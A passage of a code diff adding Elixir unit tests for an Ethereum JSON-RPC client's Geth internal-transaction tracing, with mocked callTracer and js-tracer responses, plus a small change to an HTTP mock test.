"0x70a0823100000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "output" => "0x", + "to" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "traceAddress" => [0, 1], + "type" => "call", + "value" => "0x0" + }, + %{ + "callType" => "delegatecall", + "from" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "gas" => "0xfbb8", + "gasUsed" => "0x211", + "input" => "0x70a0823100000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "output" => "0x", + "to" => "0xa2327a938febf5fec13bacfb16ae10ecbc4cbdcf", + "traceAddress" => [0, 1, 0], + "type" => "call", + "value" => "0x0" + }, + %{ + "callType" => "call", + "from" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "gas" => "0xfa71", + "gasUsed" => "0x3627", + "input" => + "0xfa461e3300000000000000000000000000000000000000000000000000000014e53ad37cfffffffffffffffffffffffffffffffffffffffffffffffcdd5f5124e01d381a000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000001f400000000000000000000000000000000000000000000000000000014e53ad37c00000000000000000000000000000000000000000000000322a0aedb1fe2c7e600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000000", + "output" => "0x", + "to" => "0x9507c04b10486547584c37bcbd931b2a4fee9a41", + "traceAddress" => [0, 2], + "type" => "call", + "value" => "0x0" + }, + %{ + "callType" => "call", + "from" => "0x9507c04b10486547584c37bcbd931b2a4fee9a41", + "gas" => "0xea6a", + "gasUsed" => "0x28b1", + "input" => + "0xa9059cbb00000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f564000000000000000000000000000000000000000000000000000000014e53ad37c", + "output" => "0x", + "to" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "traceAddress" => [0, 2, 0], + "type" => "call", + "value" => "0x0" + }, + %{ + "callType" => "delegatecall", + "from" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "gas" => "0xe3e3", + "gasUsed" => "0x259c", + "input" => + "0xa9059cbb00000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f564000000000000000000000000000000000000000000000000000000014e53ad37c", + "output" => "0x", + "to" => "0xa2327a938febf5fec13bacfb16ae10ecbc4cbdcf", + "traceAddress" => [0, 2, 0, 0], + "type" => "call", + "value" => "0x0" + }, + %{ + "callType" => "staticcall", + "from" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "gas" => "0xc2a9", + "gasUsed" => "0x523", + "input" => "0x70a0823100000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "output" => "0x", + "to" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "traceAddress" => [0, 3], + "type" => "call", + "value" => "0x0" + }, + %{ + "callType" => "delegatecall", + "from" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "gas" => "0xbcc4", + "gasUsed" => "0x211", + "input" => "0x70a0823100000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "output" => "0x", + "to" => "0xa2327a938febf5fec13bacfb16ae10ecbc4cbdcf", + "traceAddress" => [0, 3, 0], + "type" => "call", + "value" => "0x0" + } + ] + } + ]} + end) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + + call_tracer_internal_transactions = + Geth.fetch_internal_transactions([transaction_params], json_rpc_named_arguments) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "js", debug_trace_timeout: "5s") + + assert call_tracer_internal_transactions == + Geth.fetch_internal_transactions([transaction_params], json_rpc_named_arguments) + end + + test "call_tracer contract creation results are the same as js tracer", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + transaction_hash = "0xb342cafc6ac552c3be2090561453204c8784caf025ac8267320834e4cd163d96" + block_number = 3_287_375 + transaction_index = 13 + + transaction_params = %{ + block_number: block_number, + transaction_index: transaction_index, + hash_data: transaction_hash + } + + tracer = File.read!("priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js") + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn + [%{id: id, params: [^transaction_hash, %{"tracer" => "callTracer"}]}], _ -> + {:ok, + [ + %{ + id: id, + result: %{ + "type" => "CREATE", + "from" => "0x117b358218da5a4f647072ddb50ded038ed63d17", + "to" => "0x205a6b72ce16736c9d87172568a9c0cb9304de0d", + "value" => "0x0", + "gas" => "0x106f5", + "gasUsed" => "0x106f5", + "input" => + "0x608060405234801561001057600080fd5b50610150806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea26469706673582212209a159a4f3847890f10bfb87871a61eba91c5dbf5ee3cf6398207e292eee22a1664736f6c63430008070033", + "output" => + "0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea26469706673582212209a159a4f3847890f10bfb87871a61eba91c5dbf5ee3cf6398207e292eee22a1664736f6c63430008070033" + } + } + ]} + end) + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn + [%{id: id, params: [^transaction_hash, %{"tracer" => ^tracer}]}], _ -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "type" => "create", + "from" => "0x117b358218da5a4f647072ddb50ded038ed63d17", + "init" => + "0x608060405234801561001057600080fd5b50610150806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea26469706673582212209a159a4f3847890f10bfb87871a61eba91c5dbf5ee3cf6398207e292eee22a1664736f6c63430008070033", + "createdContractAddressHash" => "0x205a6b72ce16736c9d87172568a9c0cb9304de0d", + "createdContractCode" => + "0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea26469706673582212209a159a4f3847890f10bfb87871a61eba91c5dbf5ee3cf6398207e292eee22a1664736f6c63430008070033", + "traceAddress" => [], + "value" => "0x0", + "gas" => "0x106f5", + "gasUsed" => "0x106f5" + } + ] + } + ]} + end) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + + call_tracer_internal_transactions = + Geth.fetch_internal_transactions([transaction_params], json_rpc_named_arguments) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "js", debug_trace_timeout: "5s") + + assert call_tracer_internal_transactions == + Geth.fetch_internal_transactions([transaction_params], json_rpc_named_arguments) + end + + test "successfully handle single stop opcode from call_tracer", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + transaction_hash = "0xb342cafc6ac552c3be2090561453204c8784caf025ac8267320834e4cd163d96" + block_number = 3_287_375 + transaction_index = 13 + + transaction_params = %{ + block_number: block_number, + transaction_index: transaction_index, + hash_data: transaction_hash + } + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn + [%{id: id, params: [^transaction_hash, %{"tracer" => "callTracer"}]}], _ -> + {:ok, + [ + %{ + id: id, + result: %{ + "type" => "STOP", + "from" => "0x0000000000000000000000000000000000000000", + "value" => "0x0", + "gas" => "0x0", + "gasUsed" => "0x5842" + } + } + ]} + end) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + + assert {:ok, + [ + %{ + block_number: 3_287_375, + error: "execution stopped", + from_address_hash: "0x0000000000000000000000000000000000000000", + input: "0x", + trace_address: [], + transaction_hash: "0xb342cafc6ac552c3be2090561453204c8784caf025ac8267320834e4cd163d96", + transaction_index: 13, + type: "stop", + value: 0 + } + ]} = Geth.fetch_internal_transactions([transaction_params], json_rpc_named_arguments) + end + + test "uppercase type parsing result is the same as lowercase", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + transaction_hash = "0xb342cafc6ac552c3be2090561453204c8784caf025ac8267320834e4cd163d96" + block_number = 3_287_375 + transaction_index = 13 + + transaction_params = %{ + block_number: block_number, + transaction_index: transaction_index, + hash_data: transaction_hash + } + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn + [%{id: id, params: [^transaction_hash, %{"tracer" => "callTracer"}]}], _ -> + {:ok, + [ + %{ + id: id, + result: %{ + "type" => "CREATE", + "from" => "0x117b358218da5a4f647072ddb50ded038ed63d17", + "to" => "0x205a6b72ce16736c9d87172568a9c0cb9304de0d", + "value" => "0x0", + "gas" => "0x106f5", + "gasUsed" => "0x106f5", + "input" => + "0x608060405234801561001057600080fd5b50610150806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea26469706673582212209a159a4f3847890f10bfb87871a61eba91c5dbf5ee3cf6398207e292eee22a1664736f6c63430008070033", + "output" => + "0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea26469706673582212209a159a4f3847890f10bfb87871a61eba91c5dbf5ee3cf6398207e292eee22a1664736f6c63430008070033" + } + } + ]} + end) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + + uppercase_result = Geth.fetch_internal_transactions([transaction_params], json_rpc_named_arguments) + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn + [%{id: id, params: [^transaction_hash, %{"tracer" => "callTracer"}]}], _ -> + {:ok, + [ + %{ + id: id, + result: %{ + "type" => "create", + "from" => "0x117b358218da5a4f647072ddb50ded038ed63d17", + "to" => "0x205a6b72ce16736c9d87172568a9c0cb9304de0d", + "value" => "0x0", + "gas" => "0x106f5", + "gasUsed" => "0x106f5", + "input" => + "0x608060405234801561001057600080fd5b50610150806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea26469706673582212209a159a4f3847890f10bfb87871a61eba91c5dbf5ee3cf6398207e292eee22a1664736f6c63430008070033", + "output" => + "0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea26469706673582212209a159a4f3847890f10bfb87871a61eba91c5dbf5ee3cf6398207e292eee22a1664736f6c63430008070033" + } + } + ]} + end) + + lowercase_result = Geth.fetch_internal_transactions([transaction_params], json_rpc_named_arguments) + + assert uppercase_result == lowercase_result + end end describe "fetch_block_internal_transactions/1" do - test "is not supported", %{json_rpc_named_arguments: json_rpc_named_arguments} do - EthereumJSONRPC.Geth.fetch_block_internal_transactions([], json_rpc_named_arguments) + setup do + EthereumJSONRPC.Case.Geth.Mox.setup() + end + + test "is supported", %{json_rpc_named_arguments: json_rpc_named_arguments} do + block_number = 3_287_375 + block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) + transaction_hash = "0x32b17f27ddb546eab3c4c33f31eb22c1cb992d4ccc50dae26922805b717efe5c" + + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity, %{"tracer" => "callTracer"}]}], + _ -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "result" => %{ + "calls" => [ + %{ + "from" => "0x4200000000000000000000000000000000000015", + "gas" => "0xe9a3c", + "gasUsed" => "0x4a28", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x6df83a19647a398d48e77a6835f4a28eb7e2f7c0", + "type" => "DELEGATECALL", + "value" => "0x0" + } + ], + "from" => "0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001", + "gas" => "0xf4240", + "gasUsed" => "0xb6f9", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x4200000000000000000000000000000000000015", + "type" => "CALL", + "value" => "0x0" + }, + "txHash" => transaction_hash + } + ] + } + ]} + end) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + + assert {:ok, + [ + %{ + block_number: 3_287_375, + call_type: "call", + from_address_hash: "0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001", + gas: 1_000_000, + gas_used: 46841, + index: 0, + input: + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + output: "0x", + to_address_hash: "0x4200000000000000000000000000000000000015", + trace_address: [], + transaction_hash: ^transaction_hash, + transaction_index: 0, + type: "call", + value: 0 + }, + %{ + block_number: 3_287_375, + call_type: "delegatecall", + from_address_hash: "0x4200000000000000000000000000000000000015", + gas: 956_988, + gas_used: 18984, + index: 1, + input: + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + output: "0x", + to_address_hash: "0x6df83a19647a398d48e77a6835f4a28eb7e2f7c0", + trace_address: [0], + transaction_hash: ^transaction_hash, + transaction_index: 0, + type: "call", + value: 0 + } + ]} = Geth.fetch_block_internal_transactions([block_number], json_rpc_named_arguments) + end + + test "works for multiple blocks request", %{json_rpc_named_arguments: json_rpc_named_arguments} do + block_number_1 = 3_287_375 + block_number_2 = 3_287_376 + block_quantity_1 = EthereumJSONRPC.integer_to_quantity(block_number_1) + block_quantity_2 = EthereumJSONRPC.integer_to_quantity(block_number_2) + transaction_hash_1 = "0x32b17f27ddb546eab3c4c33f31eb22c1cb992d4ccc50dae26922805b717efe5c" + transaction_hash_2 = "0x32b17f27ddb546eab3c4c33f31eb22c1cb992d4ccc50dae26922805b717efe5b" + + expect(EthereumJSONRPC.Mox, :json_rpc, fn + [ + %{id: id_1, params: [^block_quantity_1, %{"tracer" => "callTracer"}]}, + %{id: id_2, params: [^block_quantity_2, %{"tracer" => "callTracer"}]} + ], + _ -> + {:ok, + [ + %{ + id: id_1, + result: [ + %{ + "result" => %{ + "calls" => [ + %{ + "from" => "0x4200000000000000000000000000000000000015", + "gas" => "0xe9a3c", + "gasUsed" => "0x4a28", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x6df83a19647a398d48e77a6835f4a28eb7e2f7c0", + "type" => "DELEGATECALL", + "value" => "0x0" + } + ], + "from" => "0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001", + "gas" => "0xf4240", + "gasUsed" => "0xb6f9", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x4200000000000000000000000000000000000015", + "type" => "CALL", + "value" => "0x0" + }, + "txHash" => transaction_hash_1 + } + ] + }, + %{ + id: id_2, + result: [ + %{ + "result" => %{ + "calls" => [ + %{ + "from" => "0x4200000000000000000000000000000000000015", + "gas" => "0xe9a3c", + "gasUsed" => "0x4a28", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x6df83a19647a398d48e77a6835f4a28eb7e2f7c0", + "type" => "DELEGATECALL", + "value" => "0x0" + } + ], + "from" => "0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001", + "gas" => "0xf4240", + "gasUsed" => "0xb6f9", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x4200000000000000000000000000000000000015", + "type" => "CALL", + "value" => "0x0" + }, + "txHash" => transaction_hash_2 + } + ] + } + ]} + end) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + + assert {:ok, + [ + %{ + block_number: ^block_number_1, + call_type: "call", + from_address_hash: "0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001", + gas: 1_000_000, + gas_used: 46841, + index: 0, + input: + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + output: "0x", + to_address_hash: "0x4200000000000000000000000000000000000015", + trace_address: [], + transaction_hash: ^transaction_hash_1, + transaction_index: 0, + type: "call", + value: 0 + }, + %{ + block_number: ^block_number_1, + call_type: "delegatecall", + from_address_hash: "0x4200000000000000000000000000000000000015", + gas: 956_988, + gas_used: 18984, + index: 1, + input: + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + output: "0x", + to_address_hash: "0x6df83a19647a398d48e77a6835f4a28eb7e2f7c0", + trace_address: [0], + transaction_hash: ^transaction_hash_1, + transaction_index: 0, + type: "call", + value: 0 + }, + %{ + block_number: ^block_number_2, + call_type: "call", + from_address_hash: "0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001", + gas: 1_000_000, + gas_used: 46841, + index: 0, + input: + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + output: "0x", + to_address_hash: "0x4200000000000000000000000000000000000015", + trace_address: [], + transaction_hash: ^transaction_hash_2, + transaction_index: 0, + type: "call", + value: 0 + }, + %{ + block_number: ^block_number_2, + call_type: "delegatecall", + from_address_hash: "0x4200000000000000000000000000000000000015", + gas: 956_988, + gas_used: 18984, + index: 1, + input: + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + output: "0x", + to_address_hash: "0x6df83a19647a398d48e77a6835f4a28eb7e2f7c0", + trace_address: [0], + transaction_hash: ^transaction_hash_2, + transaction_index: 0, + type: "call", + value: 0 + } + ]} = Geth.fetch_block_internal_transactions([block_number_1, block_number_2], json_rpc_named_arguments) + end + + test "result is the same as fetch_internal_transactions/2", %{json_rpc_named_arguments: json_rpc_named_arguments} do + block_number = 3_287_375 + block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) + transaction_hash = "0x32b17f27ddb546eab3c4c33f31eb22c1cb992d4ccc50dae26922805b717efe5c" + + expect(EthereumJSONRPC.Mox, :json_rpc, 2, fn + [%{id: id, params: [^block_quantity, %{"tracer" => "callTracer"}]}], _ -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "result" => %{ + "calls" => [ + %{ + "from" => "0x4200000000000000000000000000000000000015", + "gas" => "0xe9a3c", + "gasUsed" => "0x4a28", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x6df83a19647a398d48e77a6835f4a28eb7e2f7c0", + "type" => "DELEGATECALL", + "value" => "0x0" + } + ], + "from" => "0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001", + "gas" => "0xf4240", + "gasUsed" => "0xb6f9", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x4200000000000000000000000000000000000015", + "type" => "CALL", + "value" => "0x0" + }, + "txHash" => transaction_hash + } + ] + } + ]} + + [%{id: id, params: [^transaction_hash, %{"tracer" => "callTracer"}]}], _ -> + {:ok, + [ + %{ + id: id, + result: %{ + "calls" => [ + %{ + "from" => "0x4200000000000000000000000000000000000015", + "gas" => "0xe9a3c", + "gasUsed" => "0x4a28", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x6df83a19647a398d48e77a6835f4a28eb7e2f7c0", + "type" => "DELEGATECALL", + "value" => "0x0" + } + ], + "from" => "0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001", + "gas" => "0xf4240", + "gasUsed" => "0xb6f9", + "input" => + "0x015d8eb900000000000000000000000000000000000000000000000000000000009cb0d80000000000000000000000000000000000000000000000000000000065898738000000000000000000000000000000000000000000000000000000000000001b65f7961a6893850c1f001edeaa0aa4f1fb36b67eee61a8623f8f4da81be25c0000000000000000000000000000000000000000000000000000000000000000050000000000000000000000007431310e026b69bfc676c0013e12a1a11411eec9000000000000000000000000000000000000000000000000000000000000083400000000000000000000000000000000000000000000000000000000000f4240", + "to" => "0x4200000000000000000000000000000000000015", + "type" => "CALL", + "value" => "0x0" + } + } + ]} + end) + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + + assert Geth.fetch_block_internal_transactions([block_number], json_rpc_named_arguments) == + Geth.fetch_internal_transactions( + [%{block_number: block_number, transaction_index: 0, hash_data: transaction_hash}], + json_rpc_named_arguments + ) end end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/http/mox_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/http/mox_test.exs index 43c0622a40ff..d72721d62ab8 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/http/mox_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/http/mox_test.exs @@ -16,11 +16,11 @@ defmodule EthereumJSONRPC.HTTP.MoxTest do transport: EthereumJSONRPC.HTTP, transport_options: [ http: EthereumJSONRPC.HTTP.Mox, - url: url(), + urls: [url()], http_options: http_options() ], # Which one does not matter, so pick one - variant: EthereumJSONRPC.Parity + variant: EthereumJSONRPC.Nethermind ] } end @@ -38,12 +38,12 @@ defmodule EthereumJSONRPC.HTTP.MoxTest do } do if json_rpc_named_arguments[:transport_options][:http] == EthereumJSONRPC.HTTP.Mox do EthereumJSONRPC.HTTP.Mox - |> expect(:json_rpc, 2, fn _url, json, _options -> + |> expect(:json_rpc, 2, fn _url, json, _headers, _options -> assert IO.iodata_to_binary(json) =~ ":13000" {:ok, %{body: "413 Request Entity Too Large", status_code: 413}} end) - |> expect(:json_rpc, fn _url, json, _options -> + |> expect(:json_rpc, fn _url, json, _headers, _options -> json_binary = IO.iodata_to_binary(json) refute json_binary =~ ":13000" @@ -58,7 +58,7 @@ defmodule EthereumJSONRPC.HTTP.MoxTest do 